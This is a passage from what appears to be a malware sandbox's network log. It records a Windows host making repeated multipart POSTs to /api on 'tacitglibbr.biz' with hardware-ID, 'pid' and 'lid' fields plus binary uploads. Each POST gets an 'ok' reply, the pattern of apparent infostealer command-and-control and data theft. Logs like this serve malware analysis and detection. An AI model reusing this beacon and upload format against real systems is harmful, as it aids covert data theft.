2024-12-16 16:03:56 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6e0bgokb4l1j57188ljv1mv82o; expires=Fri, 11-Apr-2025 09:50:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t7SPr%2FkxC%2BRiO%2FVbKeFiAN8g2p3fb%2Bfg0opJMmsTmqBN3Og8x2aOnm0Pn8Xy%2FBHz15ZG0HiocMzg0hNH%2FOl3dvHAob4%2BEESAafG021wiBbRrqnStfkl9ebPg7uCqYhSI69A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe7f66d88a1ec-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14056&min_rtt=14033&rtt_var=5308&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=205387&cwnd=32&unsent_bytes=0&cid=0f5774b722345ae1&ts=2995&x=0"
2024-12-16 16:03:56 UTC	348	IN	Data Raw: 34 39 31 63 0d 0a 61 42 6a 32 2b 65 73 6c 69 75 52 72 79 64 38 43 67 45 54 47 34 78 50 4b 31 54 37 65 66 4f 63 59 54 66 48 48 42 2b 45 47 77 51 30 54 4f 6f 44 62 30 52 47 6d 78 68 69 73 2f 54 6a 30 4e 72 4f 47 50 2b 69 30 57 76 78 47 67 58 6b 68 67 71 49 72 77 33 43 73 4c 31 4a 2b 6c 35 57 59 51 4b 62 47 44 72 48 39 4f 4e 73 2f 35 49 5a 39 36 4f 38 63 75 78 61 46 65 53 47 54 70 6d 79 4f 64 71 31 75 41 48 53 52 6b 59 35 47 37 6f 55 48 70 4c 70 6e 35 53 57 73 6a 58 71 6e 76 56 50 38 55 4d 56 39 4e 39 50 39 4a 61 78 6a 74 57 77 6c 65 59 57 53 79 56 69 6d 6e 30 6d 73 73 53 43 36 5a 71 65 47 63 61 61 7a 57 72 55 55 6a 33 41 70 6b 71 4e 74 6b 57 2b 6e 5a 51 42 36 6b 70 43 45 54 2f 71 49 44 61 4f 78 59 65 38 6c 35 4d 38 78 72 36 38 63 35 46 37 57 53 43 79 43 74 Data Ascii: 491caBj2+esliuRryd8CgETG4xPK1T7efOcYTfHHB+EGwQ0TOoDb0RGmxhis/Tj0NrOGP+i0WvxGgXkhgqIrw3CsL1J+l5WYQKbGDrH9ONs/5IZ96O8cuxaFeSGTpmyOdq1uAHSRkY5G7oUHpLpn5SWsjXqnvVP8UMV9N9P9JaxjtWwleYWSyVimn0mssSC6ZqeGcaazWrUUj3ApkqNtkW+nZQB6kpCET/qIDaOxYe8l5M8xr68c5F7WSCyCt
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 49 36 6b 70 57 49 53 75 69 55 41 61 43 32 5a 66 41 74 72 59 78 38 71 4c 70 57 73 78 32 46 66 53 57 5a 71 6d 2b 48 61 61 35 70 43 6e 72 55 31 63 6c 41 38 4d 5a 52 36 35 35 6c 38 69 47 6f 6c 7a 4f 53 39 30 50 79 42 38 56 39 49 39 50 39 4a 59 74 68 6f 47 77 42 64 5a 65 54 67 6c 58 6f 6c 41 2b 6d 75 48 4c 6b 49 36 71 4c 63 72 71 39 55 72 6f 64 6a 48 45 6d 6c 71 4a 68 77 79 72 6a 61 42 49 36 7a 4e 75 6f 53 75 4f 4b 41 37 79 39 49 50 31 6f 76 63 46 32 70 50 63 45 2f 42 71 45 66 69 36 58 71 32 75 48 61 4b 56 68 42 33 57 53 6b 59 6c 41 34 6f 34 42 71 72 42 72 37 53 61 68 6a 48 57 75 75 31 32 35 58 73 73 36 4b 49 76 6c 50 63 4e 4b 70 47 77 59 4f 4b 47 59 68 30 6e 76 6b 45 6d 30 38 33 6d 69 49 61 6a 42 4b 65 69 35 57 62 4d 4d 68 47 67 71 6e 62 64 70 68 6d 4b 75 62 Data Ascii: I6kpWISuiUAaC2ZfAtrYx8qLpWsx2FfSWZqm+Haa5pCnrU1clA8MZR655l8iGolzOS90PyB8V9I9P9JYthoGwBdZeTglXolA+muHLkI6qLcrq9UrodjHEmlqJhwyrjaBI6zNuoSuOKA7y9IP1ovcF2pPcE/BqEfi6Xq2uHaKVhB3WSkYlA4o4BqrBr7SahjHWuu125Xss6KIvlPcNKpGwYOKGYh0nvkEm083miIajBKei5WbMMhGgqnbdphmKub
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 59 68 30 6e 76 6b 45 6d 30 38 33 6d 69 49 61 6a 42 4b 65 69 36 56 4c 6b 62 69 6e 73 6c 6e 61 42 76 6a 32 79 74 62 42 68 31 6b 4a 75 46 54 2b 4b 4c 42 36 2b 31 61 65 6b 74 6f 6f 46 77 6f 76 63 53 2f 42 6d 64 4f 6e 66 54 6b 57 4b 50 61 61 77 74 50 33 6d 61 6c 59 35 52 71 4a 6c 48 73 76 31 6e 37 6d 62 38 77 58 32 68 74 31 65 32 47 6f 56 39 49 70 61 6d 59 6f 42 70 70 47 55 45 66 5a 43 58 67 45 72 75 68 67 36 76 75 48 4c 6e 4c 36 69 4e 4d 65 62 33 57 36 52 65 33 54 6f 41 6c 4c 4e 6d 72 47 65 79 5a 6b 70 6c 32 6f 4c 4a 51 4f 54 47 55 65 75 36 5a 65 6f 74 6f 6f 6c 78 75 72 4a 53 74 78 2b 50 66 43 36 65 71 57 4f 44 5a 61 4e 70 42 6e 71 54 6e 4a 74 56 37 59 41 62 6f 66 30 75 6f 69 47 38 77 53 6e 6f 67 55 79 72 44 35 4d 34 47 70 43 72 61 34 52 79 34 33 42 45 59 39 Data Ascii: Yh0nvkEm083miIajBKei6VLkbinslnaBvj2ytbBh1kJuFT+KLB6+1aektooFwovcS/BmdOnfTkWKPaawtP3malY5RqJlHsv1n7mb8wX2ht1e2GoV9IpamYoBppGUEfZCXgEruhg6vuHLnL6iNMeb3W6Re3ToAlLNmrGeyZkpl2oLJQOTGUeu6ZeotoolxurJStx+PfC6eqWODZaNpBnqTnJtV7YAbof0uoiG8wSnogUyrD5M4GpCra4Ry43BEY9
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 34 70 51 42 70 62 42 72 37 53 32 32 67 58 79 73 75 31 69 30 46 59 38 36 59 64 4f 69 66 63 4d 38 34 31 6f 48 64 5a 53 59 6e 77 66 33 79 42 44 72 75 6d 79 69 66 75 53 4e 66 36 69 34 55 4c 41 56 6a 58 73 6a 6e 61 4a 67 69 6d 79 72 66 51 74 2b 6e 4a 71 48 53 4f 6d 43 44 4b 36 35 5a 2b 59 67 71 38 45 2f 36 4c 42 45 2f 45 62 46 56 51 69 6d 35 30 53 35 4a 4c 77 68 45 7a 71 54 6c 38 6b 66 71 49 6f 4b 70 37 56 76 35 43 2b 6f 69 33 69 6a 75 31 65 34 45 6f 78 2f 4b 5a 4b 67 59 49 4a 67 72 32 55 4d 65 5a 65 55 68 6b 6a 67 78 6b 66 72 75 6e 69 69 66 75 53 6b 5a 71 4f 35 57 76 77 42 79 32 4e 76 6c 4b 6b 6c 32 79 53 76 5a 67 78 38 6b 5a 65 49 51 65 43 44 41 61 2b 38 5a 75 51 6c 71 34 56 30 71 62 68 59 73 42 43 50 65 79 36 66 72 6d 71 49 59 65 4d 68 53 6e 32 4d 32 39 45 Data Ascii: 4pQBpbBr7S22gXysu1i0FY86YdOifcM841oHdZSYnwf3yBDrumyifuSNf6i4ULAVjXsjnaJgimyrfQt+nJqHSOmCDK65Z+Ygq8E/6LBE/EbFVQim50S5JLwhEzqTl8kfqIoKp7Vv5C+oi3iju1e4Eox/KZKgYIJgr2UMeZeUhkjgxkfruniifuSkZqO5WvwBy2NvlKkl2ySvZgx8kZeIQeCDAa+8ZuQlq4V0qbhYsBCPey6frmqIYeMhSn2M29E
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 61 79 34 61 2b 30 71 35 4d 38 78 72 36 38 63 35 46 36 72 63 54 79 45 70 6d 75 49 63 72 67 76 46 54 53 4e 32 34 35 4c 71 4e 35 4a 71 4c 5a 72 35 69 61 6f 67 58 57 6c 74 30 36 7a 47 59 4a 7a 4a 49 47 76 59 6f 52 76 71 32 51 46 66 49 61 58 68 31 58 74 6c 42 76 72 38 79 44 6c 50 75 54 5a 4d 5a 36 77 54 4b 77 64 78 30 73 35 6b 4c 4e 75 6a 6d 6a 6a 63 45 52 6a 31 4a 79 46 42 37 44 47 44 36 53 30 59 2b 30 6e 72 59 31 38 72 62 35 5a 76 52 69 42 63 43 57 54 6f 32 4f 43 59 61 6c 73 43 33 43 64 6e 49 46 41 36 35 52 4a 35 66 31 6e 2b 6d 62 38 77 56 69 76 70 56 4b 73 58 70 6f 30 4e 74 4f 69 61 63 4d 38 34 32 73 41 64 5a 43 63 68 55 48 74 67 41 53 71 73 6d 48 69 4b 61 43 4b 65 4b 36 32 55 62 6b 54 67 57 67 6c 6d 4b 70 70 69 6d 69 75 4c 30 51 36 6b 34 50 4a 48 36 69 33 Data Ascii: ay4a+0q5M8xr68c5F6rcTyEpmuIcrgvFTSN245LqN5JqLZr5iaogXWlt06zGYJzJIGvYoRvq2QFfIaXh1XtlBvr8yDlPuTZMZ6wTKwdx0s5kLNujmjjcERj1JyFB7DGD6S0Y+0nrY18rb5ZvRiBcCWTo2OCYalsC3CdnIFA65RJ5f1n+mb8wVivpVKsXpo0NtOiacM842sAdZCchUHtgASqsmHiKaCKeK62UbkTgWglmKppimiuL0Q6k4PJH6i3
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 33 6f 4e 4b 36 4b 64 4b 57 36 55 62 38 59 67 33 45 6a 67 61 78 6c 67 47 2f 6a 49 55 70 39 6a 4e 76 52 42 38 75 52 48 36 47 36 62 50 51 74 70 59 4a 6e 70 61 63 63 38 6c 36 55 66 54 37 54 2f 58 4f 54 63 36 52 77 52 47 50 55 6e 49 55 48 73 4d 59 50 6f 72 74 6e 35 43 69 32 68 48 65 6e 75 46 57 31 47 6f 31 35 4c 35 65 68 59 6f 5a 6e 72 32 51 4e 65 5a 75 66 67 45 6e 68 69 55 6e 6c 2f 57 66 36 5a 76 7a 42 55 4c 4f 30 55 4c 46 65 6d 6a 51 32 30 36 4a 70 77 7a 7a 6a 59 77 52 2f 6c 4a 47 50 51 2b 32 41 41 36 36 39 61 2b 45 70 6f 49 64 31 70 37 64 58 74 52 2b 44 66 79 57 59 6f 32 69 41 59 71 55 76 52 44 71 54 67 38 6b 66 71 4b 59 53 70 72 46 6e 6f 6a 6e 71 6d 44 47 76 75 78 7a 6b 58 6f 35 32 4b 35 53 6c 61 49 42 73 70 6d 73 41 66 35 53 54 6d 30 2f 6f 67 52 75 35 76 Data Ascii: 3oNK6KdKW6Ub8Yg3EjgaxlgG/jIUp9jNvRB8uRH6G6bPQtpYJnpacc8l6UfT7T/XOTc6RwRGPUnIUHsMYPortn5Ci2hHenuFW1Go15L5ehYoZnr2QNeZufgEnhiUnl/Wf6ZvzBULO0ULFemjQ206JpwzzjYwR/lJGPQ+2AA669a+EpoId1p7dXtR+DfyWYo2iAYqUvRDqTg8kfqKYSprFnojnqmDGvuxzkXo52K5SlaIBspmsAf5STm0/ogRu5v
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 38 77 55 2f 6f 70 56 2b 73 48 59 70 72 45 64 50 39 66 4c 30 6b 71 48 6b 4e 61 70 65 4e 67 6b 72 6b 6c 7a 66 72 35 54 53 77 64 50 62 54 49 37 66 33 51 34 4e 51 78 58 74 76 79 35 78 38 77 33 4c 6a 4e 31 67 30 31 49 6e 4a 48 36 6a 42 43 72 6d 76 5a 75 45 77 70 38 5a 50 6c 70 42 4b 74 68 6d 56 66 54 69 63 35 53 76 44 61 2b 4d 33 4d 7a 71 64 6e 4a 4a 57 2f 6f 73 5a 72 50 31 66 72 47 61 38 77 53 6e 6f 67 6c 2b 79 45 49 4a 73 50 74 36 43 63 34 6c 6a 73 32 67 64 64 64 54 56 79 55 47 6f 33 6c 72 6c 2f 57 54 7a 5a 76 7a 52 49 2f 50 69 44 2b 74 4f 31 32 56 68 69 75 56 7a 77 7a 7a 78 49 55 70 6f 31 4d 50 4a 41 4f 75 55 47 36 32 2b 64 75 46 68 6d 72 39 57 73 72 70 61 71 77 2b 37 52 43 69 4a 71 47 4f 55 64 65 39 36 43 58 53 61 6e 4a 38 48 70 73 59 47 36 2b 56 5a 6f 6d Data Ascii: 8wU/opV+sHYprEdP9fL0kqHkNapeNgkrklzfr5TSwdPbTI7f3Q4NQxXtvy5x8w3LjN1g01InJH6jBCrmvZuEwp8ZPlpBKthmVfTic5SvDa+M3MzqdnJJW/osZrP1frGa8wSnogl+yEIJsPt6Cc4ljs2gdddTVyUGo3lrl/WTzZvzRI/PiD+tO12VhiuVzwzzxIUpo1MPJAOuUG62+duFhmr9Wsrpaqw+7RCiJqGOUde96CXSanJ8HpsYG6+VZom
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 38 4f 63 4f 35 30 76 57 4c 58 2f 42 75 69 75 61 4a 4c 55 76 55 69 6a 61 32 35 73 48 73 4d 5a 4f 71 4b 39 79 35 43 57 79 67 6a 61 57 69 58 75 79 47 59 52 73 50 34 53 71 57 37 31 78 6f 47 45 45 66 59 4b 4b 79 51 6d 6f 69 55 6e 7a 68 43 43 71 5a 70 76 50 4d 62 44 33 42 50 77 72 68 6e 51 68 6c 4c 4e 30 7a 6b 4f 74 61 41 74 73 68 49 79 47 42 36 62 47 44 2b 76 6c 4d 71 78 6d 6f 4a 41 78 38 4f 63 4f 35 30 76 57 4c 58 2f 42 75 69 75 61 4a 4c 55 76 55 69 6a 61 32 35 73 48 73 4d 5a 4f 71 4b 39 79 35 43 57 79 67 6a 61 57 69 58 75 79 47 59 52 73 50 34 53 71 4b 71 31 53 67 6c 45 30 62 35 65 56 68 30 44 2b 6c 30 6e 6c 2f 57 2b 69 66 70 33 42 4f 65 69 49 45 76 77 47 78 53 4a 76 70 71 5a 72 6a 57 4f 31 66 6b 64 64 6d 70 79 49 55 66 69 52 42 75 53 54 56 73 4e 6d 36 73 46 Data Ascii: 8OcO50vWLX/BuiuaJLUvUija25sHsMZOqK9y5CWygjaWiXuyGYRsP4SqW71xoGEEfYKKyQmoiUnzhCCqZpvPMbD3BPwrhnQhlLN0zkOtaAtshIyGB6bGD+vlMqxmoJAx8OcO50vWLX/BuiuaJLUvUija25sHsMZOqK9y5CWygjaWiXuyGYRsP4SqKq1SglE0b5eVh0D+l0nl/W+ifp3BOeiIEvwGxSJvpqZrjWO1fkddmpyIUfiRBuSTVsNm6sF
2024-12-16 16:03:56 UTC	1369	IN	Data Raw: 4c 73 67 75 31 63 39 6c 4c 56 6d 77 56 57 31 62 41 70 30 6b 39 76 48 42 2f 44 47 55 65 75 51 63 75 55 32 70 38 45 2f 36 4c 73 63 35 46 36 49 61 43 69 44 70 69 6d 45 66 71 51 76 46 54 53 4e 32 35 38 48 73 4e 56 48 36 36 38 67 75 6d 62 6a 6a 33 79 70 74 46 4b 2f 44 4a 64 38 4c 49 57 6d 49 72 31 61 6a 6e 30 4e 61 70 66 5a 75 45 72 73 6b 42 79 6f 72 57 66 63 47 49 6d 54 64 72 69 30 48 70 41 5a 69 48 59 52 72 5a 4a 30 68 48 54 68 53 51 6c 73 6c 39 76 48 42 2f 44 47 55 65 75 51 63 75 55 32 70 38 4e 64 72 37 70 51 2f 41 48 4c 59 32 2b 46 35 54 33 51 4b 75 4e 39 53 69 4c 55 33 49 70 56 2b 6f 41 4b 76 62 34 6e 33 42 69 4a 6b 33 61 34 74 42 36 4e 45 34 46 73 4f 70 43 31 59 72 31 61 6a 6e 30 4e 61 70 66 5a 72 48 32 71 74 78 2b 6f 76 57 37 6c 5a 75 72 42 61 65 6a 76 Data Ascii: Lsgu1c9lLVmwVW1bAp0k9vHB/DGUeuQcuU2p8E/6Lsc5F6IaCiDpimEfqQvFTSN258HsNVH668gumbjj3yptFK/DJd8LIWmIr1ajn0NapfZuErskByorWfcGImTdri0HpAZiHYRrZJ0hHThSQlsl9vHB/DGUeuQcuU2p8Ndr7pQ/AHLY2+F5T3QKuN9SiLU3IpV+oAKvb4n3BiJk3a4tB6NE4FsOpC1Yr1ajn0NapfZrH2qtx+ovW7lZurBaejv

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.8	50056	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:59 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QY1NW9AYI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12361 Host: tacitglibbr.biz
2024-12-16 16:03:59 UTC	12361	OUT	Data Raw: 2d 2d 51 59 31 4e 57 39 41 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 59 31 4e 57 39 41 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 59 31 4e 57 39 41 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 51 59 31 4e 57 39 41 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --QY1NW9AYIContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--QY1NW9AYIContent-Disposition: form-data; name="pid"2--QY1NW9AYIContent-Disposition: form-data; name="lid"PsFKDg--pablo--QY1NW9AYIContent-Disp
2024-12-16 16:04:00 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=siodr4jl303ej6rbtns3ocn8lu; expires=Fri, 11-Apr-2025 09:50:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n37z1UFqG11b%2BfmMEtvUSe3FMKrLKMSVyR1rSc8QrZyMY13wmNSxpVxs4945qEC8Q0ct%2FMST3MNZMPi0YbMArWKDXqUN%2Fau8KxlAaBb5urzR%2BromeM7ibOhkRJKlshM44CE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe81bca197119-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14109&min_rtt=14109&rtt_var=5291&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13291&delivery_rate=206960&cwnd=32&unsent_bytes=0&cid=a3aa626079df0f62&ts=883&x=0"
2024-12-16 16:04:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:04:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.8	50065	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:04:01 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UVFD5U3SGAL6T79Q2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: tacitglibbr.biz
2024-12-16 16:04:01 UTC	15069	OUT	Data Raw: 2d 2d 55 56 46 44 35 55 33 53 47 41 4c 36 54 37 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 56 46 44 35 55 33 53 47 41 4c 36 54 37 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 56 46 44 35 55 33 53 47 41 4c 36 54 37 39 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --UVFD5U3SGAL6T79Q2Content-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--UVFD5U3SGAL6T79Q2Content-Disposition: form-data; name="pid"2--UVFD5U3SGAL6T79Q2Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 16:04:02 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ksgj9gkp39ivos0u565s5f3n9h; expires=Fri, 11-Apr-2025 09:50:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z0jygiKqo6gDrvD3DZUuM%2BdZEHidxPH2KgHS4m0nqQWZ3yUzM664khxF%2B%2BmTo8oCD70JDqLzWeWNcOKkWjPwiAiB2zuZ231hHQcUu%2F5pCnXhkFZGp0k1GmmtYLG81a%2Ba20g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe8291e1c061a-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8466&min_rtt=8440&rtt_var=3183&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16007&delivery_rate=345971&cwnd=32&unsent_bytes=0&cid=9fad2872bd9ccc8a&ts=999&x=0"
2024-12-16 16:04:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:04:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.8	50072	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:04:04 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R7VU0K10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20182 Host: tacitglibbr.biz
2024-12-16 16:04:04 UTC	15331	OUT	Data Raw: 2d 2d 52 37 56 55 30 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 37 56 55 30 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 37 56 55 30 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 52 37 56 55 30 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --R7VU0K10Content-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--R7VU0K10Content-Disposition: form-data; name="pid"3--R7VU0K10Content-Disposition: form-data; name="lid"PsFKDg--pablo--R7VU0K10Content-Disposit
2024-12-16 16:04:04 UTC	4851	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e7 86 a3 c3 52 df 0f 03 00 00 00 00 00 00 00 00 Data Ascii: >7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0R
2024-12-16 16:04:04 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nr0uifsf6a1fams10gnas25erm; expires=Fri, 11-Apr-2025 09:50:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DsvrGN5mWhMCuGGhf5xqis1trJ4hNK8i7uDABWbpx%2BYNR1Aw0ahqA1DPoMwR%2FZdjGOxcROSOTSPJVt63TK%2BvGgmc7qwWODX5xlXrpib%2Brxpk4GxqCCHLzWQUEWrnaDIicrw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe8377a324bcd-BUF alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14441&min_rtt=12430&rtt_var=6098&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21133&delivery_rate=234915&cwnd=32&unsent_bytes=0&cid=9924daa7ce62ee55&ts=793&x=0"
2024-12-16 16:04:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.8	50079	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:04:06 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UR2NBZ6H44F9Y7F629 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1324 Host: tacitglibbr.biz
